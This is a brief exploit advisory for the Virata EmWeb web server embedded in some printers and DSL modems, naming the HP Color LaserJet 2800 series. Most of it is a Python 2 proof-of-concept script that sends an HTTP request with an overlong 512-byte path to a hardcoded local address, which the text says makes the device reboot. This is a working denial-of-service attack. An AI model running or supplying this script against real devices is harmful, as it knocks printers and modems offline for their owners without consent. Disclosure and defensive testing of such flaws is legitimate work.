- Exploit -
The Virata EmWeb software is embedded in multiple printers and DSL modems. For
example the HP Color LaserJet 2800-series. When sending a long header (long
filename), the printer will reboot. Other soft- and hardware isn't tested yet.
- POC -
#!/usr/bin/python
import socket
host = '192.168.1.110'
port = 80
header = 'GET /' + ('A'*512) + ' HTTP/1.0\r\nHost: ' + host + '\r\nConnection: Close\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print 'Sending header...'
s.send(header)
print 'Done!'
